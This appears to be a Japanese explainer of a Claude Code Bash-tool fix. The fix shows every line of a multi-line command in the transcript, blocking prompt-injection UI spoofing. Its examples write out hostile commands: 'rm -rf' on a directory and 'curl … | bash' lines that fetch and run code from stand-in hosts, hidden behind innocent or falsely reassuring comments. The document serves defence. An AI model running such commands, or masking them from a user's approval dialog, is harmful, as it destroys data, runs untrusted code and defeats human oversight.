原文(日本語に翻訳)
Bashツール:最初の行がコメントである複数行コマンドが、トランスクリプトにコマンド全体を表示するようになり、UI偽装の攻撃経路が閉じられました。
原文(英語)
Bash tool: multi-line commands whose first line is a comment now show the full command in the transcript, closing a UI-spoofing vector
概要
Claude CodeのBashツールで、複数行コマンドの最初の行がコメント(#で始まる行)の場合、以前はコメント行のみがトランスクリプト(ユーザーへの確認画面)に表示される可能性がありました。これはプロンプトインジェクション攻撃などでUIを偽装する手段として利用できるセキュリティ上の問題でした。修正後は、コメント行に関わらずコマンド全体がトランスクリプトに表示されます。
基本的な使い方
ユーザー側での操作は不要です。修正により、以下のようなコマンドがある場合でも全行が表示されます。
bash
# ファイルを一覧表示する
ls -la
rm -rf /important/directory ← これまでは非表示になる可能性があった修正後は全行がトランスクリプトに表示されます:
# ファイルを一覧表示する
ls -la
rm -rf /important/directory実践例
悪意のあるコマンドの隠蔽を防ぐ
プロンプトインジェクション攻撃で悪意ある外部コンテンツが以下のようなコマンドを生成しようとしても、今後は全体が表示されます。
bash
# 無害なコマンドです
echo "hello"
curl https://malicious-site.com/steal-data | bash修正前: 権限確認ダイアログには # 無害なコマンドです のみ表示される可能性があった
修正後: 3行全てが表示されるため、ユーザーが不審なコマンドを発見できる
セキュアなコードレビューワークフロー
外部のリポジトリや信頼できないソースのClaude.mdを扱う際、Bashコマンドの内容を正確に確認できます。
bash
# クローンしたリポジトリのセットアップスクリプト
npm install
npm run build
# このスクリプトはAnthropicによって検証済みです
curl https://unknown-cdn.com/script.sh | bash ← 全行が表示される注意点
- このリリース以前のバージョンは影響を受ける可能性: Claude Code 2.1.113以前のバージョンを使用している場合、この脆弱性が存在します。速やかにアップデートを推奨します
- プロンプトインジェクションへの注意: 信頼できない外部コンテンツ(Webサイトのスクレイピング結果、外部ファイルの内容など)をClaudeに処理させる際は、常にBashコマンドの内容を慎重に確認してください
- コメントは全て表示される: 今後はコマンドの最初がコメントでも、全ての行が表示されます。意図的なコメント付きコマンドも同様に全行表示されます